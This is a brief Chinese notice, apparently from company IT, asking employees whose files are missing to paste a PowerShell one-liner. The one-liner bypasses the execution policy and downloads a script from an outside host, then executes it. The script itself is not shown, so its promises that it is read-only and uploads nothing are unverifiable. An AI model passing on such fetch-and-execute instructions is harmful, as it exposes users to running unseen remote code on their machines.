文件不见了，先保留现场线索。

员工操作

1. 打开 PowerShell按 Win 键搜索 PowerShell 并打开。
2. 复制命令粘贴下面命令后回车。
3. 选择目录在弹窗中选“文件丢失的目录”。
4. 填写说明写姓名、联系方式和发生情况。

powershell -NoProfile -ExecutionPolicy Bypass -c "iex (irm https://s.300042.cn/folder-check.ps1)"

处理说明

建议在员工本人 Windows 登录会话里运行。回收站和最近打开记录是按用户保存的，用另一个管理员账号运行可能看不到员工自己的证据。

工具只读核验，不恢复、不删除、不修改文件。结论用于现场排查和证据留存，不直接等同于责任认定。

本机报告：文档\IT-FolderLossReports。结果不会上传服务器，需要协助时请把报告压缩包发给 IT 部门同事。